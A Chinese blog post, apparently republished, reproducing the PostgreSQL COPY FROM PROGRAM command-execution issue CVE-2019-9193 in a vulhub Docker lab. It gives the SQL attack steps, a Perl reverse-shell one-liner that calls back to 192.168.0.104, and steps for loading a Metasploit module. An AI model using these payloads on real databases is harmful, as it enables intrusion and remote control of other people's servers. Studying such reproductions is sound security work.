暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)复现

无级安全 2019-03-22
1015

漏洞介绍

无意中看到这个漏洞
也看到这个漏洞的分析文章
看不懂原理
跟着复现

PostgreSQL,俗称Postgres,是世界上最受欢迎的数据库系统之一。它是Mac OSX系统的主力数据库,同时也有Linux和Windows版本。

CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac。

漏洞原理

从9.3版本开始,Postgres新增了一个COPY TO/FROM PROGRAM
功能,允许数据库的超级用户以及pg_read_server_files
组中的任何用户执行操作系统命令

攻击步骤

  • [可选]删除你想使用但已存在的表

  DROP TABLE IF EXISTS cmd_exec;

  • 创建保存系统命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

  • 通过COPY FROM PROGRAM
    功能运行系统命令

COPY cmd_exec FROM PROGRAM 'id';

  • [可选]查看结果

  SELECT * FROM cmd_exec;

需要注意的是原本命令中的任何单引号都必须转换为双引号才能正常生效
 ## 漏洞复现

  1. 环境搭建
    p牛的漏洞库可以用更新了
    可以直接从页面中

https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193

然后

docker-compose up -d

  1. 尝试攻击

     DROP TABLE IF EXISTS cmd_exec;
     CREATE TABLE cmd_exec(cmd_output text);
     COPY cmd_exec FROM PROGRAM 'id';
     SELECT * FROM cmd_exec;


     COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"';

进阶利用

可以直接使用msf的模块进行攻击

地址如下:

  https://github.com/Greenwolf/postgres_cmd_execution_nine_three

不过这里得说明一下,使用这个模块是需要会一点基础的ruby知识,代码里面是有彩蛋的,我也踩了点坑。我想,应该是代码作者有意而为之,不能让别有用心的人直接拿过来用吧。具体是什么的就不说了,自行测试,哈哈。

利用步骤:

  1. 打开kali下载postgres_cmd_execution_nine_three.rb
    修改完毕之后,将文件拷贝到/usr/share/metasploit-framework/modules/exploits/multi/postgres/postgres_cmd_execution_nine_three.rb
    路径中去

    然后在msfconsole中

reload_all

  1. 加载模块,设置参数

use exploits/multi/postgres/postgres_cmd_execution_nine_three

  1. 开始攻击

exploit

## 参考文章

https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5


文章转载自无级安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论